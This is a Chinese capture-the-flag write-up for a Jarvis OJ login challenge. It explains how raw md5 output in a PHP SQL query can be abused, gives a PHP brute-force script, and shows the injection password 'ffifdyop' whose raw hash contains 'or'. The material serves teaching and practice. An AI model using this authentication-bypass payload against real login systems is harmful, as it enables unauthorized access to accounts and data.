【Jarvis OJ】Login--password='".md5($pass,true)."'

Login

題目

需要密碼才能獲得flag哦。
題目鏈接:http://web.jarvisoj.com:32772

思路:
打開鏈接是一個提交password界面,放到burp里看一看呀~


看到有提示哦~
Hint: "select * from `admin` where password='".md5($pass,true)."'"

一看到md5,我就想到password為md5為0e開頭的值。輸入
password;s878926199a
這時出現(xiàn)了Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /opt/lampp/htdocs/index.php on line 14.才發(fā)現(xiàn)以上行不通。出現(xiàn)這個問題的原因是沒有理解".md5($pass,true)."的含義呀。

參考文章:https://blog.csdn.net/March97/article/details/81222922 哈哈,在這里我找到了md5(string,raw)的含義。

mdr(string,raw)

關(guān)注重點放到

password='".md5($pass,true)."'

上。
參考:
http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

原始md5可以包含任何字符,并且腳本將它們按原樣放入查詢中 - 它是一個sql注入版本。
我們要做的是強制使用原始md5包含'或'的密碼,以便查詢看起來像

SELECT login FROM admins WHERE  password  =  '<trash>' 或'1 <shit>'

這里使用的php代碼

<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

通過暴力破解,最后找到了這樣一個密碼呀~I’ve found a password: ffifdyop, with hash: 276f722736c95d99e921722cf9ed621c (‘or’6<trash>).

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

但是我們思考一下為什么6\xc9]\x99\xe9!r,\xf9\xedb\x1c的布爾值是true呢?

這里引用一篇文章?!癮 string starting with a 1 is cast as an integer when used as a boolean."
在mysql里面,在用作布爾型判斷時,以1開頭的字符串會被當做整型數(shù)。要注意的是這種情況是必須要有單引號括起來的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相當于password=‘xxx’ or 1 ,也就相當于password=‘xxx’ or true,所以返回值就是true。當然在我后來測試中發(fā)現(xiàn),不只是1開頭,只要是數(shù)字開頭都是可以的。
當然如果只有數(shù)字的話,就不需要單引號,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容